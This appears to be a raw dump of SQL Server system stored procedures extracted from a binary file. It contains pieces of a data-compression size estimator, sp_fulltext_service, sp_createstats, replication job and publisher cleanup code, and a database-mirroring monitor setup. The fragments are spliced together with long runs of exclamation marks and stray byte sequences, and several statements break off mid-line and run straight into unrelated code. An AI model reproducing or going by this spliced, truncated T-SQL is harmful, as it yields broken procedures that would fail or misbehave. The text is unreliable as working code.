		sys.generate_table_sample_ddl(
			@object_id, @schema_name, @object_name, partition_number, partition_column_id, partition_function_id, 
			@sample_table, @dummy_column, requires_computed, sample_percent)
	open c;

	declare @curr_partition_column_id int, @curr_partition_function_id int, @curr_partition_number int, 
            @requires_computed bit, @alter_ddl nvarchar(max), @insert_ddl nvarchar(max), @table_option_ddl nvarchar(max);
	fetch next from c into @curr_partition_column_id, @curr_partition_function_id, @curr_partition_number, 
						   @requires_computed, @alter_ddl, @insert_ddl, @table_option_ddl;
	while @@fetch_status = 0
	begin
		-- Step 1. Create the sample table in current scope
		create table [#sample_tableDBA05385A6FF40F888204D05C7D56D2B]([dummyDBA05385A6FF40F888204D05C7D56D2B] [int]);

		-- Step 2. Sample the table
		exec (@alter_ddl);

		alter table [#sample_tableDBA05385A6FF40F888204D05C7D56D2B] rebuild
		
		exec (@table_option_ddl);
	
		exec (@insert_ddl);

		/*	Step 3.   Loop through the indexes that use this sampled partition */
		declare index_partition_cursor cursor local fast_forward for 
			select ipi.index_id, ipi.data_compression, ipi.create_index_ddl, ipi.compress_current_ddl, ipi.compress_desired_ddl, ipi.is_primary
			from #index_partition_info ipi
			where (ipi.partition_column_id = @curr_partition_column_id or (ipi.partition_column_id is null and @curr_partition_column_id is null))
			  and (partition_function_id = @curr_partition_function_id or (partition_function_id is null and @curr_partition_function_id is null))
			  and (ipi.partition_number = @curr_partition_number or (ipi.partition_number is null and @curr_partition_number is null))
			  and ipi.requires_computed = @requires_computed
		open index_partition_cursor;

		declare @sample_table_object_id int = object_id('tempdb.dbo.#sample_tableDBA05385A6FF40F888204D05C7D56D2B');
		
		declare @curr_index_id int, @cur_data_compression int, @create_index_ddl nvarchar(max), @compress_current_ddl nvarchar(max), @compress_desired_ddl nvarchar(max), @is_primary bit;
		fetch next from index_partition_cursor into @curr_index_id, @cur_data_compression, @create_index_ddl, @compress_current_ddl, @compress_desired_ddl, @is_primary;
		while @@fetch_status = 0
		begin
			declare @current_size bigint, @sample_compressed_current bigint, @sample_compressed_desired bigint;

			-- Get Partition's current size
			set @current_size = 
				(select used_page_count 
				 from sys.dm_db_partition_stats 
				 where object_id = @object_id and index_id = @curr_index_id 
				 and partition_number = @curr_partition_number);

			-- Create the index
			if @create_index_ddl is not null
			begin
				exec (@create_index_ddl);
			end;

			declare @sample_index_id int = case 
					when @curr_index_id = 0 then 0 -- heap
					when @curr_index_id = 1 then 1 -- cluster
					else 
					(select index_id from tempdb.sys.indexes with (nolock)
					where object_id = @sample_table_object_id and index_id <> 0 and index_id <> 1)
					-- In all other cases, there should only be one index
					end;

			-- Compress to current compression level
			if @compress_current_ddl is not null
			begin
				exec (@compress_current_ddl);
			end;

			-- Get sample's size at current compression level
			select @sample_compressed_current = used_page_count 
			from tempdb.sys.dm_db_partition_stats 
			where object_id = @sample_table_object_id and index_id = @sample_index_id;
				
			-- Compress to target level
			if (@index_id is null or @curr_index_id = @index_id)
			begin
			exec (@compress_desired_ddl);
			end

			-- Get sample's size at desired compression level
			select @sample_compressed_desired = used_page_count 
			from tempdb.sys.dm_db_partition_stats 
			where object_id = @sample_table_object_id and index_id = @sample_index_id;
			
			-- Drop non-clustered and non-primary key indexes (this is based on name - pk has special name since it can be non-clustered)
			-- #tables can get created from either a contained db or a podb. In contained db context, the index names are mangled by adding #&$, so we have an additional LIKE clause to find such index names
			if (exists(select * from tempdb.sys.indexes with (nolock) where name = 'sample_indexDBA05385A6FF40F888204D05C7D56D2B' OR name like 'sample_indexDBA05385A6FF40F888204D05C7D56D2B#&$%'
						and object_id = @sample_table_object_id))
			begin
				drop index [sample_indexDBA05385A6FF40F888204D05C7D56D2B] on [#sample_tableDBA05385A6FF40F888204D05C7D56D2B];
			end
			else
			begin
				-- For a non-clustered primary key, drop the constraint to drop the index
				if (@is_primary = 1 and @sample_index_id <> 1)
				begin
					alter table [#sample_tableDBA05385A6FF40F888204D05C7D56D2B] drop constraint [sample_indexDBA05385A6FF40F888204D05C7D56D2B_pk];
				end
			end

			-- if the current setting and requested setting are the same, show how much we would save if we discount fragmentation and new
			-- compression schemes (like unicode compression). In these cases, we use the sample size or the current size of the table as
			-- starting point, instead of the temp table that was created
			--
			if (@cur_data_compression = @desired_compression)
			begin
				if (@current_size > @pages_to_sample)
				begin
					set @sample_compressed_current = @pages_to_sample
				end
				else
				begin
					set @sample_compressed_current = @current_size
				end
			end

			declare @estimated_compressed_size bigint = 
			case @sample_compressed_current
			when 0 then 0
			else @current_size * ((1. * cast (@sample_compressed_desired as float)) / @sample_compressed_current)
			end;

			if (@index_id is null or @curr_index_id = @index_id)
			begin
			insert into #estimated_results values (@object_name, @schema_name, @curr_index_id, @curr_partition_number,
					@current_size * 8, @estimated_compressed_size * 8, @sample_compressed_current * 8, @sample_compressed_desired * 8);
			end

			fetch next from index_partition_cursor into @curr_index_id, @cur_data_compression, @create_index_ddl, @compress_current_ddl, @compress_desired_ddl, @is_primary;
		end;
		close index_partition_cursor;
		deallocate index_partition_cursor;

		-- Step 4. Drop the sample table
		drop table [#sample_tableDBA05385A6FF40F888204D05C7D56D2B];

		fetch next from c into @curr_partition_column_id, @curr_partition_function_id, @curr_partition_number, 
							   @requires_computed, @alter_ddl, @insert_ddl, @table_option_ddl;
	end
	close c;
	deallocate c;	

	-- drop xml schema collection
	declare c cursor local fast_forward for select drop_ddl from #xml_schema_ddl
	open c;
	declare @drop_ddl nvarchar(max)
	fetch next from c into @drop_ddl;
	while @@fetch_status = 0
	begin
		exec(@drop_ddl);

		fetch next from c into @drop_ddl;
	end;
	close c;
	deallocate c;	

	select * from #estimated_results;

	drop table #estimated_results;
	drop table #xml_schema_ddl;
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(l^vt8create proc sys.sp_fulltext_service
    @action     nvarchar(100) = NULL,
    @value      sql_variant = NULL
as
    set nocount on

    -- sp_fulltext_service will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    -- CHECK PERMISSIONS (must be serveradmin) --
    if (is_srvrolemember('serveradmin') = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_service')
        return 1
    end

    -- initialize full-text configuration table --
    declare @fulltext_configuration_table TABLE (
        Name nvarchar(100) NOT NULL UNIQUE,
        IsDeprecated  smallint default 0,
		IsVisible     smallint default 0,
        FNC_Name nvarchar(200),
        HasValue      smallint default 0,
        Type nvarchar(30) default NULL,
        NeedRangeCheck smallint default NULL,
        minvalue       bigint default NULL,
        maxvalue       bigint default NULL,     
		dflt_longlong  bigint default NULL,
		dflt_str	   nvarchar(1024) default NULL)

    -- for resource_usage, we set both index and query performance level to the value. So when we read value we just return
    -- index performance level. Index and query performance level are suppose to be same. However, user can directly set
    -- index and query performance level and they can be different. Resouce usage is just a setting for backward compatibility.
    --											       name						depre, visi,FNC_Name					hasVal, type, 	rangechk,	min,	max,	dfltl,	dftlstr 
    insert into @fulltext_configuration_table values ('resource_usage', 			1,	1, 	'FTE_IndexingPerformanceLevel', 1, 	'int', 		1, 		0, 		0, 		NULL, 	NULL)
    insert into @fulltext_configuration_table values ('clean_up', 					1,	1, 	NULL, 							0, 	NULL,		NULL,	NULL,	NULL, 	NULL, 	NULL)
    insert into @fulltext_configuration_table values ('connect_timeout', 			1, 	1,	NULL, 							1, 	'int', 		1, 		0, 		0, 		NULL, 	NULL)
    insert into @fulltext_configuration_table values ('data_timeout', 				1, 	1,	NULL, 							1, 	'int', 		1,	 	0, 		0, 		NULL, 	NULL)
    insert into @fulltext_configuration_table values ('update_languages', 			0, 	1,	NULL, 							0, 	NULL,		NULL,	NULL,	NULL, 	NULL, 	NULL)
    insert into @fulltext_configuration_table values ('restart_all_fdhosts', 			0, 	0,	NULL, 							0, 	NULL,		NULL,	NULL,	NULL, 	NULL, 	NULL)
    insert into @fulltext_configuration_table values ('pause_indexing', 			0, 	1,	'pause_indexing', 				1, 	'int', 		1, 		0, 		1, 		NULL, 	NULL)
    -- The following are config values
    insert into @fulltext_configuration_table values ('load_os_resources', 			0, 	1,	'FTE_LoadOSResources', 			1, 	'int', 		1, 		0, 		1, 		0, 		NULL)
    insert into @fulltext_configuration_table values ('verify_signature', 			0,  1,	'FTE_VerifySignature', 			1, 	'int', 		1, 		0, 		1, 		1, 		NULL)
    insert into @fulltext_configuration_table values ('aggressive_break', 			0, 	0,	'FTE_AggressiveBreak', 			1, 	'int', 		1, 		0, 		1, 		1, 		NULL)
    insert into @fulltext_configuration_table values ('ism_size', 					0, 	0, 	'IFTS_ISMSize', 				1, 	'int', 		1, 		1, 		16, 	0, 		NULL)
    insert into @fulltext_configuration_table values ('batch_size', 				0, 	0, 	'IFTS_BatchSize', 				1, 	'int', 		1, 		100, 	10000, 	0, 		NULL) 
    insert into @fulltext_configuration_table values ('outstanding_batches',	    0, 	0, 	'IFTS_OutstandingBatches',	    1, 	'int', 		1, 		1, 		100, 	5, 		NULL) 
    insert into @fulltext_configuration_table values ('outstanding_isms',	  	    0, 	0, 	'IFTS_OutstandingISMs',	        1, 	'int', 		1, 		1, 		100, 	5, 		NULL)     
    insert into @fulltext_configuration_table values ('auto_crawl_end_fragments_merge', 0, 	0,	'IFTS_AutoCrawlEndMergeFragments', 	1, 	'int', 		1, 		2, 		50, 	5, 		NULL)
    insert into @fulltext_configuration_table values ('fdhost_tracing', 			0, 	0,	'IFTS_FDHostTracing', 			1, 	'int', 		1,	 	0, 		1, 		0, 		NULL)
    insert into @fulltext_configuration_table values ('fdhost_tracing_numberoflogs',0, 	0, 	'FTE_RetailTracingNumberOfLogs',1, 	'int', 		1, 		1, 		500, 	10, 	NULL)
    insert into @fulltext_configuration_table values ('fdhost_tracing_tag', 		0, 	0,	'IFTS_FDHostTracingTag', 		1, 	'nvarchar', NULL, 	NULL, 	NULL, 	NULL, 	N'')
    insert into @fulltext_configuration_table values ('fdhost_dump', 				0, 	0,	'IFTS_FDHostDump', 				1, 	'int', 		1, 		0, 		1, 		1, 		NULL)
    insert into @fulltext_configuration_table values ('processor_affinity', 		0, 	0,	'FTE_ProcessorAffinity', 		1, 	'int', 		NULL, 	NULL, 	NULL, 	0, 		NULL)
    insert into @fulltext_configuration_table values ('crawl_ranges', 				0, 	0,	'IFTS_NumRanges', 				1, 	'int', 		1, 		0, 		256, 	0, 		NULL)
    insert into @fulltext_configuration_table values ('master_merge_dop', 		0, 	0,	'IFTS_PmmDop', 				1, 	'int', 		1, 		0, 		256, 	0, 		NULL)
    insert into @fulltext_configuration_table values ('ft_timeout', 				0, 	0,	'IFTS_FTTimeout', 				1, 	'int', 		1, 		10000, 	6000000,60000, 	NULL)
    insert into @fulltext_configuration_table values ('max_singledoc_retries', 		0, 	0,	'IFTS_MaxSingleDocRetries', 	1, 	'int', 		1, 		0, 		10, 	1, 		NULL)
    insert into @fulltext_configuration_table values ('upgrade_option', 		0, 	1,	'IFTS_CatalogUpgradeOptions', 	1, 	'int', 		1, 		0, 		2, 	2, 		NULL)
    insert into @fulltext_configuration_table values ('fdhost_dump_flags', 		0, 	0,	'FTE_SQLDumperFlags', 	1, 	'nvarchar', 		NULL, 		NULL, 		NULL, 	NULL, 		N'0x820')
    IF SERVERPROPERTY('IsNonGolden') IS NOT NULL
    begin
	    insert into @fulltext_configuration_table values ('mm_partition_count', 	0, 	0,	'FTE_SQLMMPartitionCount', 			1, 	'int', 		1, 		0, 		1000, 		1000, 		NULL)
	    insert into @fulltext_configuration_table values ('merge_range_size_in_bytes', 	0, 	0,	'FTE_SQLMergeRangeSizeInBytes', 			1, 	'int', 		1, 		0, 		100 * 1024 * 1024, 		100 * 1024 * 1024, 		NULL)
	    insert into @fulltext_configuration_table values ('costing_factor', 	0, 	0,	'IFTS_Costingfactor', 			1, 	'int', 		1, 		1, 		1000000, 		1000, 		NULL)
    end

    -- if action is null, we print out all configuration options that are available to user --
    if @action is null
    begin
        select Name as 'configuration name',
               CASE IsDeprecated
               WHEN 1 THEN 'Yes'
               ELSE   'No'
               end as 'is deprecated',
               Type as 'configuration value type',
               minvalue as 'minimum', maxvalue as 'maximum'
        from @fulltext_configuration_table
		where IsVisible = 1
        order by Name
        return 0
    end

    -- utility: list all sp_fullext_service options
    if @action = 'show_all'
    begin
        select Name as 'configuration name',
               CASE IsDeprecated
               WHEN 1 THEN 'Yes'
               ELSE   'No'
               end as 'is deprecated',
               Type as 'configuration value type',
               minvalue as 'minimum', maxvalue as 'maximum'
        from @fulltext_configuration_table
        order by Name
        return 0
    end

    declare @Name nvarchar(100)
    declare @IsDeprecated  smallint
    declare @FNC_Name nvarchar(200)
    declare @HasValue      smallint
    declare @Type nvarchar(30)
    declare @NeedRangeCheck smallint
    declare @minvalue       bigint
    declare @maxvalue       bigint
	declare @dfltlonglong   bigint
	declare @dfltstr		nvarchar(1024)
    declare @sval nvarchar(1024)


    -- find configuration option from the table --
    select  @Name = Name,
        @IsDeprecated = IsDeprecated,
        @FNC_Name = FNC_Name,
        @HasValue = HasValue,
        @Type = Type,
        @NeedRangeCheck = NeedRangeCheck,
        @minvalue = minvalue,
        @maxvalue = maxvalue,
		@dfltlonglong = dflt_longlong,
		@dfltstr = dflt_str
    from @fullte!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<p+
T`t8xt_configuration_table where Name = @action

    -- Check if configuration option is exposed to user or Yukon Style options for mssearch internal use (no longer supported)
    if (@Name is null)
    begin

	 -- Yukon Style options for mssearch internal use (MSSearch only) options are not supported anymore
	 -- It has been decided that we throw an error for most of the MSSearch only options (some options will still be supported)
	 -- These options are not documented and has not been advertised to general public or CSS.
	 -- The other option is to make it a no-op for options we no longer support but it was decided (Jingweil and deepakp)
	 -- that we throw an error for the reasons explained above.
	 --
        raiserror(15600,-1,-1,'sys.sp_fulltext_service')
        return 1
    end

    -- if value is null, we print the option value --
    if (@value is null)
    begin
        -- if the option doesn't have value, we will just run the command
        if (@HasValue = 0)
        begin
            -- If it is deprecated, we will not do anything --
            if (@IsDeprecated = 1)
            begin
                -- 21 logs the usage of the deprecated action and increments
                -- the appropriate perf counter for this deprecated feature
                --                
                DBCC CALLFULLTEXT(21, @Name)
                return 0
            end

            -- DBCC CALLFULLTEXT (18 ) --
            if @action = 'update_languages'
            begin
                DBCC CALLFULLTEXT (18 ) --
            end
	    else if @action = 'restart_all_fdhosts'
	    begin
	    	DBCC CALLFULLTEXT (22 )
	    end
            else
            begin
                -- current only update_languages is non-value option
                raiserror(15600,-1,-1,'sys.sp_fulltext_service')
                return 1
            end
        end
        else
        begin
            -- If it is deprecated, we will print 0 as value --
            if (@IsDeprecated = 1)
            begin
                select @Name as 'Configuration Name', 0 as 'Configuration Value'
                -- 21 logs the usage of the deprecated action and increments
                -- the appropriate perf counter for this deprecated feature
                --                    
                DBCC CALLFULLTEXT(21, @Name)
                return 0
            end

            -- print the configuration name and value
            DBCC CALLFULLTEXT(2, @FNC_Name, @Name)
        end
        if @@error <> 0
            return 1
    end
    else
    begin
        if (@HasValue = 0)
        begin
            -- try to set an option which don't take a value --
            -- invalid parameter, raise error here --
            raiserror(15600,-1,-1,'sys.sp_fulltext_service')
            return 1
        end
        else
        begin
            -- If it is deprecated, we will not do anything --
            if (@IsDeprecated = 1)
	    begin
                    -- 21 logs the usage of the deprecated action and increments
                    -- the appropriate perf counter for this deprecated feature
                    --
                    DBCC CALLFULLTEXT(21, @Name)                
                    return 0
            end

            select @sval = convert(nvarchar(1024), @value)
	    if @@error <> 0
		return 1

 	    if (@Type = 'int')
	    begin
	        -- convert to int value first --
		declare @i bigint
		if ltrim(rtrim(lower(@sval))) = N'default'
			select @i = @dfltlonglong 
		else
		begin
            		select @i = convert(bigint, @sval)
            		if @@error <> 0
                		return 1
			if @i = -1
				select @i = @dfltlonglong
		end

		-- check if the value is in the range --
            	if ((@NeedRangeCheck = 1) and ( @i is null or (not (@i between @minvalue and @maxvalue) and @i <> @dfltlonglong)))
            	begin
                	raiserror(15600,-1,-1,'sys.sp_fulltext_service')
                	return 1
            	end
            	select @value = @i
 	    end
	    else 
            begin
		if ltrim(rtrim(lower(@sval))) = N'default'
			select @value = @dfltstr
		else
            		select @value = @sval 
	    end

            if @action = 'pause_indexing'
            begin
                DBCC CALLFULLTEXT ( 19, @value )  --
            end
            else
            begin
		DBCC CALLFULLTEXT ( 1, @FNC_Name, @value) -- Set config value
            end
            if @@error <> 0
                return 1
        end
    end

    -- SUCCESS --
    return 0    -- sp_fulltext_service
and
            has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                              'object',
                              'select') = 1 and
            charindex(substring(o.type,1,1),@type1) <> 0 and -- Only desired types.
            (@table_name  is NULL or o.name like @table_name) and
            (@table_owner is NULL or schema_name(o.schema_id) like @table_owner)
        order by 4, 1, 2, 3
    end
II_id = @id
				
			EXEC @retcode = sys.sp_MSrepladdproxyaccount @job_name = @name,
														@owner_login_name = @owner_login_name,
														@subsystem = @subsystem,
														@job_login = @login,
														@job_password = @password,
														@proxy_id = @proxy_id OUTPUT
			IF @@ERROR <> 0 or @retcode <> 0
	            goto FAILURE
				
	        EXEC @retcode = msdb..sp_update_jobstep @job_id = @id,
	        										@step_id = @step_id,
	        										@proxy_id = @proxy_id
			IF @@ERROR <> 0 or @retcode <> 0
	            goto FAILURE
		END
	END
	
	COMMIT TRANSACTION

	RETURN 0
FAILURE:
	ROLLBACK TRANSACTION tr_sp_MSchangerepljob
	COMMIT TRANSACTION

	RETURN 1
END
~~sys.sp_dropserver @publisher, 'droplogins'

		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			GOTO FAILURE
		END

		-- Drop expired subscription cleanup job and alerts
		EXEC @retcode = sys.sp_MSrepl_drop_expired_sub_cleanup_job @publisher

		IF (@@ERROR != 0 OR @retcode != 0)
		BEGIN
			GOTO FAILURE
		END
	END
    
	-- Override status and return an error if HREPL failed.
	-- Post-hrepl steps will have completed and left the distributor
	-- in a consistent state.
	IF @hrepl = 0
	BEGIN
		-- Report failure to drop publisher info but don't finish cleanup
		RAISERROR(21749, 16, -1, @publisher)
		GOTO FAILURE
	END

    RETURN (0)
FAILURE:
	INSERT INTO msdb..MSdistpublishers
		SELECT *
			FROM #MSdistpublishers

	RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ure sys.sp_createstats
	@indexonly		char(9)= 'NO',     -- Optional 'INDEXONLY' text - if present, then only the columns
					-- covered by indexes are subject of statistics creation
	@fullscan		char(9)= 'NO',      -- Optional 'FULLSCAN' text - if present, then the statistics
					-- will be created with full scan rather than sampling
	@norecompute	char(12)= 'NO'      -- Optional 'NORECOMPUTE' text - if present, then statistics
				-- will not be updated automatically
as

	--	NOTE: This sp will create statistics for *all* columns of all tables
	--	which the user has the privilege to create stats on (sysadmin, dbo, owner).
	--	The following columns are not considered
	--	- first column of an index
	--	- column which already has statistics
	--	- XML column
	--	- filestream column
	--	- sparse column in a wide-table (a table with a sparse column set)
	--	- nondeterministic computed columns
	--  - imprecise computed columns

	declare @sysadmin int
			,@dbname sysname
	select @indexonly = UPPER (@indexonly collate Latin1_General_CI_AS)

	-- Validate input options
	if (@indexonly not in ('INDEXONLY', 'NO') OR
		UPPER(@fullscan) not in ('FULLSCAN', 'NO') OR
		UPPER(@norecompute) not in ('NORECOMPUTE', 'NO'))
	begin
		raiserror(15600,-1,-1, 'sys.sp_createstats')
		return @@error
	end
		
	-- remember dbname
  	select @dbname = db_name()

	-- create temporary table (column, index position)
	create table #colpostab
	(	col_name  sysname collate catalog_default,
		col_pos	  int,
	)

	set nocount on

	-- required for sp_createstats so it can create stats on on ICC/IVs
	set ansi_warnings on
	set ansi_padding on
	set arithabort on
	set concat_null_yields_null on
	set numeric_roundabort off

	declare @exec_stmt nvarchar(4000)
	declare @tablename sysname
	declare @columnname sysname
	--declare @shortcolumnname sysname
	declare @indexname sysname
	declare @uid int
	declare @indid smallint
	declare @position smallint
	declare @table_id  int
	declare @table_type char(2)
	declare @schema_name sysname
	declare @numcols int   -- number of eligible columns found
	declare @msg nvarchar(388) -- adding two more chars for msg with 15654
	declare @twopart_tablename nvarchar(517)
	declare @timestamp varchar(17)
	declare @wide_table bit

	declare @tablename_header varchar(267)

	declare ms_crs_tnames cursor local static for
		select o.name, o.object_id, s.principal_id, s.name, o.type
		from sys.objects o
		join sys.schemas s on s.schema_id = o.schema_id
		where o.type = 'U' or o.type = 'IT'

	select @numcols = 0
	-- cannot execute against R/O databases  
	if DATABASEPROPERTYEX(db_name(),N'Updateability')=N'READ_ONLY'
	begin
		raiserror(15635,-1,-1,N'sp_createstats')
		return (1)
	end

	open ms_crs_tnames
	fetch next from ms_crs_tnames into @tablename, @table_id, @uid, @schema_name, @table_type

	while (@@fetch_status <> -1)
	begin
		-- check for table with disabled clustered index
		if (1 = isnull((select is_disabled from sys.indexes where object_id = @table_id and index_id = 1), 0))
		begin
			-- raiserror('Table ''%s'': cannot perform the operation on the table because its clustered index is disabled', -1, -1, @tablename)
			-- note that we cannot use '%s' in the sqlerrorcodes.h as the same error is reused by sp_create|updatestats and they have
			-- different formatting styles. This style is consistent with the rest of the messages in this SP
			select @msg = ''''+ @dbname +'.'+ @schema_name +'.'+ @tablename + ''''
			raiserror(15654, -1, -1,  @msg)
		end
		else
		begin
			-- filter out local temp tables, Hekaton tables, and tables for which current user has no permissions
			-- Note that OBJECTPROPERTY returns NULL on type="IT" tables, thus we only call it on type='U' tables
			if (
			   (@@fetch_status <> -2) and 
			   (substring(@tablename, 1, 1) <> '#') and -- temp tables
			   ((@table_type<>'U') or (0 = OBJECTPROPERTY(@table_id, 'TableIsInMemory'))) and -- Hekaton table
			   ((is_member('db_owner')=1) or (is_member('ddl_admin')=1) or (is_member(user_name(@uid))=1) or (user_id() = @uid))) -- permissions
			begin
				select @wide_table = objectproperty(@table_id, 'tablehascolumnset')
			
				-- these are all columns for which the statistics will be created
				declare ms_crs_cnames cursor local for select c.name from sys.columns c
					where c.object_id = @table_id
					and (type_name(c.system_type_id) not in ('xml'))
					and c.name not in (select col_name from #colpostab where col_pos = 1)
					and ((c.name in (select col_name from #colpostab)) or (@indexonly <> 'INDEXONLY'))
					and (@wide_table=0 or is_sparse=0)
					and (is_filestream=0)
					and (is_computed = 0 
						or (is_computed = 1 
							and columnproperty(@table_id, c.name, 'isdeterministic') = 1
							and columnproperty(@table_id, c.name, 'isprecise') = 1))

				-- populate temporary table of all (column, index position) tuples for this table
				truncate table #colpostab

				-- for each index on the table, loop though all columns and insert rows
				-- open cursor over indexes
				declare ms_crs_ind cursor local static for
					select stats_id, name from sys.stats
						where object_id = @table_id order by stats_id

				select @twopart_tablename = quotename( @schema_name , '[')+'.' + quotename( @tablename, '[')

				open ms_crs_ind
				fetch ms_crs_ind into @indid , @indexname

				-- if an index exists
				while @@fetch_status >= 0
				begin
					-- if the index is not disabled and not a columnstore or if there is no entry in sys.indexes for current @indid 
					-- (we are looking at a statistic not an index) then we need to include the columns of that statistic in #colpostab
					if not exists (select * from sys.indexes where object_id = @table_id and index_id = @indid and (is_disabled = 1 or type in (5, 6)))
					begin
						-- every index has at least one column at position 1
						insert into #colpostab values (index_col(@twopart_tablename,@indid,1),1)
						-- now try position 2 and beyond....
						select @columnname = index_col(@twopart_tablename, @indid, 2)
						select @position = 2
						while (@columnname is not null )
							begin
								insert into #colpostab values (@columnname,@position)
								select @position = @position +1
								select @columnname = index_col(@twopart_tablename, @indid, @position)
							end
					end
					-- next index
					fetch ms_crs_ind into @indid , @indexname

				end
				close ms_crs_ind
				deallocate ms_crs_ind

				-- now go over all columns which are eligible for creating statistics
				-- and are not first columns of any index
				-- optionaly we test if they are covered by some index (as non-leading)
				

				open ms_crs_cnames

				fetch next from ms_crs_cnames into @columnname
				if @@fetch_status < 0
				begin
					select @msg = @dbname +'.'+ @schema_name +'.'+ @tablename
					raiserror(15013,-1,-1,@msg)
				end
				else
				begin
					select @msg = @dbname +'.'+ @schema_name +'.'+ @tablename
					raiserror(15018, -1, -1, @msg)
				end

				while @@fetch_status >= 0
				begin
					select @numcols = @numcols +1
					-- use the column name as the name for the statistics as well
					select @exec_stmt = 'CREATE STATISTICS ' +  quotename(@columnname, '[')  + ' ON ' +
					quotename( @schema_name ,'[')+'.' + quotename( @tablename, '[')+'('+ quotename( @columnname, '[')+')'
					-- determining the correct suffix
					if ((UPPER(@fullscan) = 'FULLSCAN') AND (UPPER(@norecompute) = 'NORECOMPUTE'))
						select @exec_stmt = @exec_stmt + ' WITH FULLSCAN, NORECOMPUTE'
					else if (UPPER(@fullscan) = 'FULLSCAN') select @exec_stmt = @exec_stmt + ' WITH FULLSCAN'
					else if (UPPER(@norecompute) = 'NORECOMPUTE') select @exec_stmt = @exec_stmt + ' WITH NORECOMPUTE'
					EXEC (@exec_stmt)
					--print 'Statement='+@exec_stmt
					if (@@error = 0)  -- otherwise the CREATE STATS will give a me!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(q2ve
create procedure sys.sp_dbmmonitorupdate 
(
	@database_name		sysname = null	-- if null update all mirrored databases
)
as
begin
	set nocount on
	if (is_srvrolemember(N'sysadmin') <> 1 )
    begin
		raiserror(21089, 16, 1)
		return 1
	end
	if ( db_name() != N'msdb' )
	begin
		raiserror(32045, 16, 1, N'sys.sp_dbmmonitorupdate')
		return 1
	end

	declare		@retcode	int

	if object_id ( N'msdb.dbo.dbm_monitor_data', N'U' ) is null
	begin 
		create table msdb.dbo.dbm_monitor_data (		-- go through the code to see if there SHOULD be nulls.
			database_id				smallint,
			role					bit null,
			status					tinyint null,
			witness_status			tinyint null,
			log_flush_rate			bigint null,
			send_queue_size			bigint null,
			send_rate				bigint null,
			redo_queue_size			bigint null,
			redo_rate				bigint null,
			transaction_delay		bigint null,
			transactions_per_sec	bigint null,
			time					datetime,
			end_of_log_lsn			numeric(25,0),
			failover_lsn			numeric(25,0),
			local_time				datetime
		)

		exec @retcode = msdb.dbo.sp_MS_marksystemobject dbm_monitor_data
		if ( @@error != 0 OR @retcode != 0 )
		begin
			raiserror( 32038, 16, 1 )
			return 1
		end

		create clustered index dbmmonitor1 
            on msdb.dbo.dbm_monitor_data (database_id asc, time asc )
	end

	-- TO DO: create some keys depending on enterences.
	-- TO DO: make sure that the rows are unique
	if object_id ( N'msdb.dbo.dbm_monitor_alerts', N'U' ) is null
	begin
		create table msdb.dbo.dbm_monitor_alerts (
			database_id				smallint,
			retention_period		int null,	--this defaults to 7 days.  checked during the table update
			time_behind				int null,
			enable_time_behind		bit null,
			send_queue				int null,
			enable_send_queue		bit null,
			redo_queue				int null,
			enable_redo_queue		bit null,
			average_delay			int null,
			enable_average_delay	bit null
		)

		exec @retcode = msdb.dbo.sp_MS_marksystemobject dbm_monitor_alerts
		if ( @@error != 0 OR @retcode != 0 )
		begin
			raiserror( 32038, 16, 2 )
			return 1
		end
	end

	if ( select name from sys.database_principals where name = N'dbm_monitor') is null 
	begin
		create role dbm_monitor
		grant select on object::msdb.dbo.dbm_monitor_data to dbm_monitor
	end

	if @database_name is not null
	begin
		--
		-- Check if the database specified exists 
		--
		if not exists (select * from master.sys.databases where name = @database_name)
		begin
			raiserror(15010, 16, 1, @database_name)
			return 1
		end
		-- 
		-- Check to see if it is mirrored
		--
		if (select mirroring_guid from master.sys.database_mirroring where database_id = db_id(@database_name)) is null 
		begin
			raiserror(32039, 16, 1, @database_name)
			return 1
		end

	declare
		@database_id			smallint,
		@role					bit,
		@status					tinyint,
		@witness_status			tinyint,
		@log_flush_rate			bigint ,
		@send_queue_size		bigint ,
		@send_rate				bigint ,
		@redo_queue_size		bigint ,
		@redo_rate				bigint ,
		@transaction_delay		bigint ,
		@transactions_per_sec	bigint ,
		@time					datetime ,
		@end_of_log_lsn			numeric(25,0),
		@failover_lsn			numeric(25,0),
		@local_time				datetime

	declare
		@retention_period		int,
		@oldest_date			datetime

		set @database_id = DB_ID( @database_name )

-- To select the correct perf counter, we need the instance name.
		declare 
